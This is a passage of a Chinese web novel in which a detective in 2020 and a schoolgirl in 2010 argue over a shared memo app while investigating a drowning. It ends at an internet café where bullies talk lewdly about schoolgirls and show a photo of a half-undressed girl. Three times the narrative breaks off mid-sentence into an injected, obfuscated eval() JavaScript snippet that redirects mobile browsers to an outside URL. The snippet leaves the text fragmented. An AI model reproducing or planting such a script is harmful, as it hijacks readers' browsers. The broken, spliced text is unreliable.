“哦哦。”关野了然,“我们那时候关系很好。” “像家人一样?” “嗯。”关野点了点头,又摇摇头,“不是像,就是家人。” “我刚刚和傅昭说,你们经历了两次相同的悲剧,心理压力会比别人大很多,你还好吗?” “……是,多少会有一些压力吧,偶尔会想到晓阳刚走那时候,感觉自己还在十年前没走出来一样。” “有这么大的心理负担,上次还特地来警局帮我们安抚家属情绪,当老师确实很不容易。” 关野局促地笑了笑:“也没有,再怎么伤心,这些事情也已经发生了,就像十年前那样,无论怎么伤心,人不在了就是不在了,人还是只能打起精神来面对现实。” “我很好奇,傅昭刚刚告诉我,当老师是他的梦想……也是你的吗?” “不是。” 出乎意料的是,关野却否认了,对自己不堪的过去,他并没有遮掩:“其实以前我从来没有想过要当老师,你既然知道晓阳的事情,也应该知道,我高中受了退学的处分。” “对。” “那会儿光是活下去都困难,梦想对我来说太奢侈了。”关野说道,“但是晓阳对我说不能这样,我们还年轻,不要把自己所有的未来都断绝,我说我不知道要做什么,她说——那你要不要试试去当老师。” “你们现在都当上了老师,她一定也为你们高兴。” 关野短促地笑了笑,他有一边的眉毛是断眉,是年少与人发生冲突时留下的,不笑的时候有几分凶,然而笑起来的样子却有几分那张照片上阳光灿烂的影子。 “她走以后,我们俩都很伤心,觉得人生一片灰暗……后来傅昭对我说,我们活着,至少要把晓阳的愿望完成,我就去考了大学,又拿到资格证,考进四中来。” “你以前也是四中的?” “嗯,我们都是。” “当初和姜晓阳一起出去那几个人好像并不是四中的。” “……过去太久,我也不太记得了。”关野有些抱歉,“好像不是。” “那你知道为什么他们会一起出去吗?” “……我不知道。”关野摇了摇头,“接到警察电话的时候,我甚至不敢相信晓阳也在那群……受害人里面。” 舒任深深地看了他一眼,又抿了一口茶,有点冷了,傅昭连忙要帮他重新续上热水,舒任摇摇头拒绝,三两口把剩下的茶水喝尽,又问起了十年后的这桩溺亡案。 包括这几个学生平时在学校的状态,以及出事之前有没有征兆,即便这些问题之前走访组已经问过,傅昭和关野两人还是态度极好地配合他回答了。 “那今天就到这里,谢谢你们配合。”舒任将记录本合上,放进双肩包里,从沙发上站起身来,“后续如果还有相关调查需要配合的话,局里会再和你们联系。” “好的好的,没问题。”傅昭态度十分温和,和关野两人送舒任到了门口,后者示意他们就在这里止步,“你们还有那么多学生的事情要忙,就不用送了,四中也是我母校,路还是找得到的。” 两人都被他的冷笑话逗得笑了笑,舒任也笑了起来,忽然开口问道:“对了,你们以前认不认识一个叫做林语禾的女孩子?” “林语禾?” 傅昭和关野四目相对,都露出些茫然的神色。 “不好意思舒警官,这个名字好像没什么印象。” “好,没事,我就随口问问。”舒任又笑了笑,冲他们摆摆手,“我先走了。” “好的好的。” 舒任带着笑意,顺着旋转楼梯慢慢地从五楼走了下去,到教学楼的出口位置抬头看,走廊上的傅昭和关野两人也已经不在原地,应该是回办公室继续批改作业去了。 他脸上的笑意慢慢地淡了下去,紧接着掏出手机,打通了一个熟悉的电话号码—— “怎么,有什么事儿搞不定?” “师傅,你还记得林语禾这个人吗?” “林语禾……这名字怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正如林语禾对十年后同一天舒任做了什么并不了解一样,舒任也并不知道十年前的今天,林语禾经历了什么。 她几乎是一到家就把自己关在了房间里,林勇还担心她哪里不舒服,反倒是常美琴让他别去问去管:“你不懂,年轻人青春期就是这样的,一会儿心情好一会儿心情不好的,等她自己缓缓就好了。” 然而林语禾心情低落,却和青春期没什么关系,她只是觉得很受伤。 她一直很清楚,当初能在礼堂救下来那么多人,与其说是她聪明过人,不如说是借了舒任“预告剧情”的外挂,提前知道了会发生危险,加上运气好,这才让大家逃出生天。 她从来没有,也不可能会有沾沾自喜的念头,把自己看成什么救世主。 所以被关野毫不留情地指责了一通之后,林语禾第一反应就是不可置信,等她坐上公交车回家的时候,这种不可置信又慢慢变成了被否认、被误解的委屈。 甚至还有些自我怀疑。 她带着一肚子委屈和难过,将今天的经历和舒任讲了一遍,连番的挫败让她有些没底气,她也说不清自己是想要寻求舒任的安慰和鼓励,还是想向他解释自己并没有不努力。 也许两者都有。 所以,在看到舒任发来的那句【今天辛苦了,晚上好好休息】和【你已经很努力了,他们不理解你的好意,不要为了这种事伤心】之后,她的坏心情好了许多。 ……就算全世界都不理解她,舒任还是理解她的! 那边紧接着又发来一条留言,林语禾往下滑动,刚有好转的心情,却再次由晴转阴。 【姜晓阳的事,你不要再管了。】 她看错了?为什么舒任会突然让她别再插手? 【为什么?】 留言发出去,林语禾抿着唇,紧紧地盯着屏幕,可那头的光标跳啊跳,就像是说话的人欲言又止,许久之后才吐出一句完整的回复。 【你只是个高中生,专心准备高考比较好,这种事不该是一个高中生参与的。】 【你在说什么啊?高考还有整整三年,晓阳的人生只剩下短短三天了!】 林语禾呆了呆,气极反笑。 舒任竟然在这种节骨眼上对她说这些话……他是觉得这种话就可以轻而易举地打发她? 【而且我明明知道我认识的人会死,我还假装什么都不知道地生活,我做不出来那么低劣的事情!】 【这和低劣无关,你不是警察,你是个普通人,最重要的事情应该是保护好自己,而不是过度深入这件事。】 【你的意思是我看着晓阳去死?】 【我知道你放心不下,你应该还记得我之前告诉过你,现在带我的前辈……我师傅现在就在宣城市公安局,你可以把线索交给他。】 【为什么?】 【你能做的都已经做了,就算你还不甘心,你也已经什么都做不了。】 林语禾没有回信。 舒任有些焦躁。 这不像她的风格,小姑娘总像是有用不完的精力,哪怕白天上了一整天的课,回来还有心情在备忘录里和他叽叽喳喳,分享这一天的所见所闻。 那时候舒任哭笑不得她的精力旺盛,而眼下,他却希望林语禾能像那时候一样,隔着屏幕的沉默,让他无从判断她在另一头到底是什么样的表情。 他揉了揉眉心,持续紧绷的肩膀在这个细微的动作里牵扯出酸涩的痛楚。 这句话并不好听。 只是他必须要阻止她继续为这件事奔走下去,即使她心里有怨怼,甚至觉得他说话冷漠不近人情,他也必须这么做。 不是因为他嫌弃林语禾在里面拖了后腿,恰恰相反,如果不是十年前的林语禾为了朋友不断努力,他也不会对傅昭和关野两个人产生关注。 两个刚来四中不久的班主任,倒霉地碰上了溺水事故,还不得不捏着鼻子来警局安抚家属情绪,任谁来看,都是两个不起眼又令人同情的角色。 可当这两人与十年前那场溺亡案受害人关系匪浅的时候,故事又是另一个发展了,舒任无法忽视师傅之前问自己的那句话—— “世界上真的会有这么巧合的事情吗?” 曾经他认为是有的,可今天他与那两个人打了一场交道之后,尤其是收到林语禾的信息以后,他的念头产生了动摇。 舒任这么多年在训练中培养出来的直觉告诉他,傅昭和关野并没有看上去那么简单,尤其是他们谈论到姜晓阳这个人的时候,那种违和感尤其强烈。 十年前会为了姜晓阳,竖起浑身尖刺,甚至不惜出口伤人。 十年后,他却坦然地说这一切都已经是过眼云烟? 如果,这一切不是巧合呢? 如果,姜晓阳的死亡并不是意外,那么是否意味着这一切的背后,都有一只无形的推手,让她当年的死亡看上去像是一场……意外? 黑黢黢的窗外不时传来两声蛙鸣,原本是惬意的秋日,舒任的后背却渐渐地渗出冷汗,黑暗中仿佛有一双眼睛正在暗中窥视,让人浑身发凉。 ——不能再这么下去了。 他无时无刻不在提醒自己,屏幕的另一头,只是一个十六岁的高中生,和他在学校里看到那些打打闹闹的女生一样,她拥有的仅仅是一份预知未来的能力,可是这不是超能力,不能让她长出铜头铁臂。 她遇到危险也会受伤,也会害怕,而他隔着十年的光阴,根本没办法赶到她身边。 所以他更加不能放任她就这样卷入危险中。 国庆里,支队工作尤其忙碌,舒任还要分心去顾及一场十年前的案件,长时间的高强度脑力劳动与体力劳动,让他的太阳穴跳得像是一根快要崩断的弦。 舒任仰头,一颗布洛芬混着冷水灌进喉咙。 【这件事可能会有危险,我担心你的安全,你不要再牵扯进去了。】 林语禾怔怔地看着屏幕上的这句话,一时间什么话都说不出来。 舒任很少会这样直白地袒露自己的情绪,在她面前,他似乎永远临危不乱,这是独属于成年人的从容强大,是她羡慕不来的东西。 这难得一见的坦率,她并不是毫无触动。 林语禾知道,他不是为了害她,而是担心她卷入混乱,受到伤害,她明白。 ……有问题的是她。 关野对她来说只是个陌生人,光是短短打交道的那一小段时间,她也知道对方的生活并不像自己所知道的那么平和。 她虽然难受,却也能理解他的偏见。 可是舒任不一样。 到底是哪里不一样,林语禾说不清楚,但她执着地觉得在晓阳这件事上,即使所有人都会否认她,质疑她,舒任也绝对不会。 可他要她不再管这件事,甚至一针见血地对她说,她什么忙也帮不上。 林语禾想要反驳,可是连反驳的理由都找不到——她现在所采取的行动,在舒任所在的那个未来里,没有起到任何效果。 舒任说得没错,她的努力都是徒劳的,她就是一个平凡得不能再平凡的十六岁高中生,在他眼里和那些令人头疼的青春叛逆期没有什么两样。 他是成年人,他很理智,她只会像个小孩一样嚷嚷自己的想法。 成熟一点,她就应该像他说的那样,把这些线索整理好交给公安,然后回到自己平凡普通的日常生活中去。 努力学习,考个好大学,和桂圆雨娜她们打打闹闹,接下来的一切都和她无关。 即使未来没有改变,她也大可以附和着其他人说一句“太可惜”,就把这件事抛之脑后。 林语禾抿了抿唇,舒任总是照顾她,方方面面,无论是学习还是生活,她遇到不会做的题,他都会学着去解,她遇到烦恼,他也总是耐心开导。 甚至他一句“放学会突发暴雨”,她也会乖乖带上伞,在同学朋友艳羡的目光里,笑哈哈地围观这群狼狈的落汤鸡。 他总是对的,像是启明星一样,为她引导着最正确,对她最好的那条路。 可她现在却对这一切感到很焦虑——她不想做个看客,不想浑浑噩噩地跟在他屁股后面做个小跟屁虫,派不上用场,只能自我厌恶……她不 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【然后呢?】林语禾质问着,【然后晓阳死了,什么都没变,这就是你觉得对我来说最好的结果?】 【……】 【这句话我还给你,我会自己想办法,用不着你帮忙,你不用再管这件事了。】 【小禾?】 【我以为你会不顾一切地去拯救那些遭遇不幸的人,我曾经是那么相信你的。现在看来我错了,正义对你而言无关紧要,你也不在乎一个十年前的人会不会死……是我看错你了。】 【是,我确实幼稚,冲动,不会顾全大局,但我无论如何去做,哪怕会犯错,也好过什么都不做!】 …… 两人头一次闹得不欢而散。 林语禾心情差到了极致,甚至连常女士特意做的糖醋排骨也无心品尝,常美琴尝了一口剩下来的排骨,没那么热乎之后有点腻,但口味比之前任何一次都好,女儿怎么就突然不赏脸了呢? 她想问,却又担心这种时候去问女儿,反而惹得对方更不高兴,她们好不容易才培养起来的母女感情可经不起折腾,常美琴在女儿房门踌躇了几个来回,最后还是忧心忡忡地坐回了沙发上,继续看八点档肥皂剧。 只是最爱看的《神断狄仁杰》也没那么吸引人了,常女士心不在焉地看几眼,就要看一眼女儿的卧室门。 仅仅一扇门的另一侧,林语禾同样神不守舍。 为了分散自己的注意力,她强迫自己坐在书桌前看书,可那些平时顺利就能看完的教科书,今天却像是一堆蝌蚪文一样,歪歪扭扭的,越看越让人心浮气躁。 林语禾囫囵地看了一会儿,还是心烦意乱,干脆关了灯,蜷缩回了被窝里。 旧手机闪着蓝幽幽的微光,备忘录还停留在舒任最后一条留言上,是他师傅的名字和联系方式。 他什么都没有说,面对她单方面的指责,他既没有辩解,也没有和她争吵,只是孤零零地发了这么一条信息放在上面,作为这场争吵最后的收尾。 备忘录右侧的下滑条窄得几乎快看不清,一开始它一拉就能看到底,那会他们还没说过多少话,现在却已经数也数不清。 满满当当,全都是时间线两端,相隔十年的两个人各自的生活碎片。 林语禾往上翻着记录,许多对话当时不觉得,现在却有种怀念的感觉,就好像两个人共度的时间,就在这些碎片里一点一滴地填充起来。 可是再多的快乐,都越不过两个人之间的天堑。 他不能理解她,就像她也无法理解他。 她想说些什么,最后还是什么都没说,脑袋埋进了柔软的枕头里,很快上面就浸出了一层水渍。 屏幕的幽光因为无人操控,慢慢地黯淡了下去。 与此同时,屏幕的另一头,舒任凝视着屏幕上突然不再跳动的光标,也长长地叹了口气,抬起酸涩的双眼,看向了窗外深沉的夜色。 这一天,不同时空的两个人,都在满腹心事中失眠到了深夜。 42. 第 42 章 2010年10月6日。 尽管在备忘录里对着舒任说得很硬气,但……林语禾其实也并不知道自己还能做什么。 失眠一整夜的结果就是,什么也没想出来,并且第二天醒来时,眼眶下面还多了两个明晃晃的黑眼圈,衬上她那萎靡的表情,越发像是动物园里的熊猫。 只不过人家懒洋洋是悠闲,林语禾是颓丧。 她不是第一次睡得晚,从读中学开始,作业就像是堆积木似的一天比一天多,尤其是节假日收假回来前一天晚上,她总是在挑灯夜战赶作业中度过。 但那时候她没有这么多的心事,十几岁的所有忧愁,无非就是哪个老师太爱拖堂,又或是今天因为一些小事情和常女士闹了不愉快,这还是林语禾第一次因为“人命”两个字一整宿都没能睡好。 天快翻鱼肚白的时候她短暂地半梦半醒了一会儿,也尽是光怪陆离的梦境,碎片得连剧情都记不起来,只记得梦里的自己一直在跑,一直在逃,气喘吁吁,满心惶恐。 如果这就是成年人每天要面临的压力,那成年人的世界也太可怕了。 林语禾胡思乱想着,像是游魂一样飘进卫生间,只是她手软得连牙膏都没拿稳,低头去捡,起来的时候又一头撞上了洗手台台沿,疼得她“嘶”一下,这会儿倒是清醒了,就是额头上差点撞出个包来。 常美琴听见里头鸡飞狗跳的动静:“小禾,怎么啦?” 过了好一会儿,林语禾郁闷的声音才传了出来:“……没事!” “这孩子……” 常女士坐不住了,等林语禾洗漱出来,还是一副精神不振的模样,飘荡过来坐在餐桌前,她想了又想,还是委婉问道:“那个……小禾,今天不和朋友出门呀?” “……不出门。” “哦哦,也行,不出门就在家里休息休息,是不是没睡好,要不要给你热个牛奶,再睡会?” “不用了妈,我睡不着。” “那……行吧。”常美琴冲丈夫做了个眼色,示意他照看着女儿一点,“我去给你弄个水煮蛋,把眼睛滚一滚再吃。” 林语禾乖乖地点了点头。 常女士越发觉得这事儿棘手,平时女儿讨厌水煮蛋可是讨厌到闻味儿都难受,现在竟然一点反应没有……这是怎么了呀! 她这个亲妈不知道,林勇这个后爸就更摸不清楚了,可老婆大人有交代,他也担心林语禾是不是遇见了什么不高兴的事儿,绞尽脑汁地找着话题,东拉西扯地拽着她说话。 可随便他怎么说,林语禾的反应都很迟钝,就像是卡了带的收音机似的,他问上几句,她才答那么一句,还牛头不对马嘴的。 常美琴煮好水煮蛋,又在凉水下头过了好几分钟,这才心疼地拿过来给女儿滚眼眶,趁女儿发呆的时候,她朝丈夫递了个疑问的眼神过去,问他刚刚聊得怎么样。 能聊得怎么样?林勇郁闷地摇摇头,刚刚就一直是他在说话,小禾连回答都没两句,这要是真能猜出来她在想什么,他也用不着上班,直接去摆个算命摊子挣钱还快呢。 常美琴的肩膀也落了下来,这下夫妻俩都没辙了,眼看林语禾浑浑噩噩地吃完水煮蛋,甚至连味道都没尝出来,又像只游魂似的往卧室里躲,她连忙叫住了女儿:“等会要不要去逛超市?” “……算了。” “那要不要去公园走走?” “……不用了。”林语禾呆呆地摇了摇头,“我回房间睡觉。” 这孩子,怎么说话颠七倒八的……这到底是发生了什么呢? 夫妻俩面面相觑,都被这突如其来的少女心事给弄得没了脾气。 …… 林语禾把门反锁上坐在书桌前。 不远处落地镜瞟一眼就能看到她现在毫无生气的样子,头发乱糟糟的,脸色苍白,穿着卡通睡衣,比胸前那只卡比兽看上去还要呆滞。 不说她妈,连她自己都觉得这个样子的自己有点陌生。 或许是因为连日来遭到的打击、质疑和现实的否定,让她现在就像只被戳了个眼儿的气球一样,气跑了个精光,就剩个蔫蔫的壳子。 手机里没有新信息,和晓阳的联系还停留在昨天,那会儿她正要去找关野和傅昭两人帮忙,在公交车上两人短信聊了不少这两天看的书,晓阳说她看完了殷老师送的那本《相约星期二》,还想把书借给她一起看。 再往前翻,是她昨天临时和桂圆雨娜说不出去玩的道歉信息。 再往前……哦,就是班群里发的国庆注意事项了。 林语禾郁闷地往后倒在了椅背里,这个国庆节自己都在瞎忙活些什么? 明明下定决心要好好享受这个难得的假日,要好好安排功课和娱乐,甚至好不容易有了独自出门的机会,能和朋友们一起去省城。 连常女士都对她一再宽容,温柔得不像她那个严厉的亲妈。 没有比这个国庆更愉快的开始了,可后来的记忆恍恍惚惚,竟然只剩下救人这一件事——还一点忙也没帮上。 舒任的话,让她前所未有地动摇了,是不是真的不该再继续掺和进去,就像关野说的,她和晓阳才认识多久,她有什么资格和立场以救世主自居。 可内心深处,她的确又是不甘心的……就是没想到有什么好办法,脑袋里也乱糟糟的,像是被猫抓乱的毛线团。 就在这时,手机铃声响了起来。 大早上的,谁会给她打电话?林语禾拿起手机,来电显示上显示出“桂圆”两个字,许归苑明朗的声音从电话听筒另一头传来:“小禾,来追梦网吧玩啊!” “我……” 林语禾还没说话,就被打断了。 “小禾!”显然许归苑不是一个人,听筒那边很快挤进另一个熟悉的嗓音,“昨天你放我们鸽子就算了,今天总不能再放了吧——国庆都要结束了!” “就是就是,抓紧时间出来玩!” 两个好友七嘴八舌地说着话,积极地邀请林语禾和她们一起出去享受剩下的假期,林语禾兴致不高,正想拒绝,话到了嘴边却顿了一下。 不去,她还能做什么呢? 既不是福尔摩斯,也不是名侦探柯南,在家里躺着除了让她妈更担心以外,好像什么用也没有。 答案在心里绕一圈,“No”变成了“Yes”。 “……好,我现在出门。” “哦耶!”电话那头两人很是兴奋,“那我们在六中这个十字路口等你,雨娜说她想到了一个绝妙的点子,这次比赛绝对能拿奖……” 许归苑高兴起来就叽叽喳喳地说个没完,平时林语禾和莫雨娜一样,总会无奈地用其他话题让她别一直说下去,然而今天听着听筒那边的动静,林语禾的心情却和那时候完全不同。 林语禾打起精神扎起头发,也不知道她头发怎么就长这么快,明明半个月之前才剪过一次,现在竟然又长得可以扎起来了。 她背着挎包从卧室出来,这下换成她妈大吃一惊:“你要出门啦?” “……嗯。”林语禾想起刚刚自己还斩钉截铁地说不出门,这会儿就反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许归苑和莫雨娜两个活宝还是那么活泼,明明三人前几天才一起去过省城,这会儿挽着她手臂,表现得像是有好几年不见似的。 “小禾你也太难约了,下次找你还要排档期啦。” 林语禾有些愧疚:“对不起,我……” “哎哟,有什么对不起的,别听她扯。”莫雨娜翻了个白眼,毫不犹豫地出卖了许归苑的内心,“她就是怕没你这个好学生在前面挡住火力,被她妈知道溜去网吧了!” “我又没在网吧打游戏,我怕什么,我才不怕呢!”许归苑虚张声势地说道,“我那是去看电视剧!” “那你还让我跟你妈说我俩去图书馆了,我这就给阿姨打电话——” “莫!雨!娜!” “略略略~” “行啊,那我给阿姨打电话说实话,‘我们雨娜想当下一个言情天后呢~’我看看是你先死还是我先死!” “啊啊啊啊啊不行!!” 两个活宝一言不合又开始互相伤害,来回攻击了几个回合又纷纷来拉林语禾问她帮谁。 林语禾在中间跟个不倒翁似的,被左一下右一下地扯个没完,她又好气又好笑。 “别拽了,等会摔跤了!” 可不得不说,两人的确生来就有当开心果的天赋,像两朵无忧无虑的向日葵,总是扬着脑袋笑嘻嘻的。 让她的嘴角忍不住也上翘了一点。 43. 第 43 章 然而到了网吧之后,向日葵姐妹的笑容就消失了。 “……不是,姐,我天天来,怎么把位置给别人了呀!”莫雨娜哀怨地趴在前台和网管大姐哭诉,“我一直是用那个机子的!” “你跟我纠缠也没用,人家先来,就要坐那,我能怎么办,总不能给人强制下机吧。”网管也很无奈,在管理系统里点点点,总算是找到另一处位置,“要不你们仨坐这儿?也是连排,卡座。” “行吧。”莫雨娜闷闷不乐,直到去座位的路上还在念叨,“那可是我的福地,我就是坐那才有灵感呢。” 许归苑伸头看了一眼,对她比了个“嘘”的手势:“别说啦,咱们可惹不起。” 莫雨娜跟着看了一眼,顿时也住了嘴,悻悻地缩了脖子,往嘴巴上做了个缝线的手势。 “就这儿吧,这儿挺好的,上厕所还近呢,哈哈。” “……怎么了?”林语禾看不懂两人在打什么哑谜,她用纸巾擦了擦键盘和沙发,看一眼原本她们之前坐那排卡座,如今坐着三个男生,“什么惹不起?” 许归苑示意她把沙发挪近一点,三人凑在一起,跟三只窃窃私语的花栗鼠一样。 “那几个不是咱们年级那几个……那什么嘛。”她含糊地说道,见林语禾还是一脸迷茫,只好压低声音把话说得更明显点,“校霸!” “……校霸?”林语禾努力在脑海里回忆了一下:“我怎么没听说过……” “他们初中又不是六中的。”许归苑小声说道,“你不知道可太正常了,四中考过来的,这才刚来咱们学校一个月!” 一个月,就已经在年级里面有了校霸的名头,这几个男生的人品可见一斑。 “还是因为小禾你之前在医院那会儿,何姣过来问你情况好不好,大家才谈起那几个人的事情。” “这一聊就炸锅咯,就知道四中有几个人考过来,又接触时间不长,不是他们班同学,谁知道是那种人品。”莫雨娜数着手指头,“打架,带头挑衅老师,孤立同学,他们班那个何姣——小禾还记得吧,每次作文都是年级范文的那个女生,也被他们骚扰过。” “还说她穿裙子就是给人看的,骂她装纯,给何姣气哭了。” 林语禾问道:“何姣和班主任说过这个事儿没?” “说过,没用。” “说什么考过来,六中对外分数线那么高,这几个又不是什么尖子生,根本就不是靠分数进来的。”许归苑也说道,“还不是塞那个什么赞助费——哦,我想起来了。” 她一拍手:“就礼堂那个事情,不是咱们学校撤了个副校长嘛,就那个。” “那副校长都被处罚了。”莫雨娜撅了撅嘴,“怎么不把他们也带走。” “人家有钱有势,给学校捐了栋楼,咱们只能忍着咯,还好不是一个班的,不过老舒也接受不了这种人来咱们班,他还是挺正派的。” 平时虽然没少在背后说老舒念叨得像个老婆婆,可人品上,四班对自家班主任没有什么不满意的地方——总比对着这种恶心人的学生点头哈腰的好吧! 就是可怜何姣她们,要转班也得等高二分文理科了,还得忍受这种人一整年呢,也不知道怎么办。 林语禾有些晃神,两人说着说着又扯到了不知道什么地方去,等她再回过神来,话题竟然已经跳到了十万八千里以外。 她犹豫了一下,还是问出了口:“刚刚你们说那三个人,叫什么名字啊?” “诶,我刚刚没说吗?”许归苑挠了挠脑袋,“就那个谁,陈臣安,顾延……还有个谁来着?” “李思华。”莫雨娜倾身过来,郑重地叮嘱好友,“小禾,听到这三个名字赶快溜远点啊!千万别招惹他们!” “就是就是,咱们私下骂几句还行,要是给他们听到了,你这小身板还不够人家一拳头的呢。” 陈臣安,顾延,李思华。 这三个名字,林语禾似乎在哪里听过,但想了好半天还是没想到,只能归结于之前在学校无意中听到过。 对好友的嘱咐,她心里暖洋洋的,认认真真点了头:“好,我肯定躲远点。” - 对于这群讨厌鬼的讨论并没有占据三人太多时间,尽管许归苑和莫雨娜一直拌嘴不停,甚至还互相拿网吧“要挟”对方服软,但实际上她俩还真都有各自的事儿要做。 莫雨娜面前一字摊开了各种笔记本,据说都是背着她妈悄悄藏起来的“素材本”,临近截稿,她现在可不敢再像之前那么三天打鱼两天晒网,她可是要冲奖的! “以后你考上北大了,就是北大才女,全网爆红!”许归苑幻想着,“我和小禾就能发财了。” “我爆红,怎么是你俩发财?” “笨!倒卖你的签名啊!” 许归苑话一说出口,莫雨娜就挑着眉毛去挠她痒痒了,激得许归苑笑得眼泪都出来了,一个劲儿地求饶,半晌闹腾的两人才安静下来。 还是和之前一样,莫雨娜戴上了耳机,沉浸在她的文学世界里,旁边许归苑拿出自己带的虾条分给林语禾,她自己看起了电视剧。 不知道谁又打起了游戏,有人赢了发出兴高采烈的高呼,有人输了,郁闷得一拳砸在了桌上,又叫网管来续费时间,显然是打算再战三百回合,整个网吧闹哄哄的,要不是有耳机挡着,恐怕连自己电脑里的声音都听不清。 舒任说这叫“白噪音”,十年后的2020年,大把的人焦虑到必须要听着这种白噪音才能睡觉。 林语禾之前不明白这么乱糟糟的声音有什么好听的,但现在她也有了点体会,或许这代表着回归日常生活的实感。 她拿出手机,给晓阳发了条短信。 【早安!溺水小贴士温馨提醒:不要在江边玩耍,更不要下河游泳哦~】 没多久,晓阳的回复来了。 【收到:)谢谢可爱的小贴士,今天在书店参加读书沙龙,我打算分享我们都很喜欢的那本《活出生命的意义》】 林语禾放下手机叹了口气,她都觉得自己现在笨拙得不像话,只能通过这种方式不断地提醒晓阳,希望她安安全全地度过这个国庆,可除此之外她也找不到什么办法了…… 她转而看起了桌面上大大小小的图标,想着要不要也学其他人的样子玩点什么,或是看点什么。 桂圆在做什么呢? 她扭头看了一眼,许归苑看的是《来不及说我爱你》,不知道放到了第几集,屏幕上男主抱着熟睡的女主默默流泪,屏幕前的许归苑也跟着哭个不停,抽纸都抽了一大半。 林语禾默默地收回了目光。 好吧,看上去不是第一集,她就算跟着一起看也看不懂……她只能放弃了这个方案,又看向了其他桌的电脑,只是网吧里大家的娱乐方式大同小异,不是网游,就是和桂圆一样,都在看电视剧,而且全是她没印象的剧集。 一个国庆而已,她已经跟不上时代了。 林语禾看着自己的屏幕发了会儿呆,干脆打开了windows自带的蜘蛛纸牌,有一搭没一搭地玩了起来。 许归苑眼睛哭得红红的转过头来,正好看见林语禾点了一次翻牌。 上面翻出来的纸牌恰好组成了顺序,许归苑还没来得及在旁边欢呼,就眼睁睁看见好友又点了一次翻牌,刚刚幸运至极的顺序牌顿时被拆得四零八落,这把显然是过不了关了。 许归苑目瞪口呆:“小禾,你干嘛呢?” 这打的人还没心态崩溃,她这个看的人要先撑不住了! 林语禾这才回过神来,看见屏幕上弹出窗口,问她要不要重新挑战,她随手点掉关闭,从座位上站起身来:“……我去上个厕所。” ……果然还是静不下心,做不到一点不去想。 林语禾的神思不属,却让许归苑产生了误解,她呆呆地看着林语禾走远的背影,用胳膊肘撞了一下隔壁的莫雨娜。 莫雨娜摘下耳机,气闷得跳脚:“撞我/干嘛呀!我正灵感爆棚呢!” “我说,下次叫小禾出来,要不咱们不来网吧了。”许归苑挠了挠脑袋,“小禾好像不喜欢来这儿。” “真的假的,你怎么看出来的?” “这还不容易看吗,你看她屏幕——进来这么久,就玩了两把蜘蛛纸牌,还都输了。”许归苑忧心忡忡地说,“你说是不是咱俩一天都拉着她往这儿跑,她才不愿意出门的啊?” 结果她俩还看不懂人家脸色,硬是给人拉来这儿坐着。 这样下去,这朋友还能不能做了呀?! 两个宅女你看看我,我看看你,都禁不住生起了几分危机感。 许归苑把耳机往莫雨娜脑袋上重新一罩:“赶紧写!等会早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592624|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点下机,咱们找别的地方陪小禾玩!” - 另一边,林语禾却并不知道自己心不在焉的样子让两个好友产生了误会。 她确实是想上厕所,顺便也借着洗手台洗了把脸,感觉自己似乎精神了一点。 到底是熬了夜,刚开始出门的时候还不觉得,但坐在网吧里毕竟不如露天环境,人多空气也说不上清新,这会儿没到困得睁不开眼的地步,但还是反应有些迟钝。 更不要说心里还藏着事儿。 林语禾冲着镜子里的自己笑了笑,把嘴巴往旁边拉开了一点,免得在好友面前露出马脚,这才整理了一下衣服往外走,快到卡座的时候又想起来没带水出门,干脆一转脚步,去前台要了三瓶可乐。 就当是昨天放鸽子的道歉。 一手拿一瓶,怀里再抱一瓶,她这才心满意足地往回走,想着等会给雨娜和桂圆两人一个惊喜。 节假日网吧坐得满满当当,有些人丝毫不顾及别人还要过路,戴着耳机,卡座沙发往后拉得很宽,把走路的通道都给堵了半截。 林语禾只能侧着身,从两排背靠背的沙发缝隙中间穿过去。 这么一折腾,她速度就慢了不少,路过桂圆她们说的那几个学生身边时,三人似乎是刚在游戏里输了比赛,把耳机摘下来,骂骂咧咧地往桌上一扔。 染着黄毛的李思华扒在沙发扶手上,见身边的顾延拿出根烟,他立刻去拿打火机用手捧着给点了火,满脸谄媚道:“延哥,上次你给咱放的那岛国女明星长得真不错,那个什么麻美的,啥时候再给咱们分享一部新的?” “怎么,好看啊。”顾延吐一口烟,瞥了他一眼,“看你那样儿,没见过女人啊,给你馋的。” “这不是延哥你眼光好嘛,挑女人的眼光,就两个字,佩服!”李思华颇为夸张地比了个手势,“那腿,那胸,穿个学生制服要多清纯有多清纯。” 顾延叼着烟含笑不说话,另一头陈臣安“哎”了一声,鄙视他:“所以延哥才笑你没见过女人,那些女明星那都是装清纯,哪有真的学生妹带劲,是不是延哥?” 三人彼此交换了个眼神,心照不宣笑得猥琐至极。 六中校风一向比其他学校严格,更不要说老舒坐镇的四班,从来都是一片祥和,林语禾什么时候听过这么露骨又恶心的话。 她胃里一阵翻腾,想到他们班上的女同学还要被迫和这种人同班,她更是难受得不行,抱紧了怀里的可乐瓶,想快点离开这里回自己的位置上去。 却看到顾延掏出手机,丝毫不在意他们还在大庭广众之下,竟然就这么打开了手机的相册。 一张照片映入林语禾的视野中。 是一个衣衫半褪的少女。 不,与其说是褪下,不如说是被人强行拽扯开来。 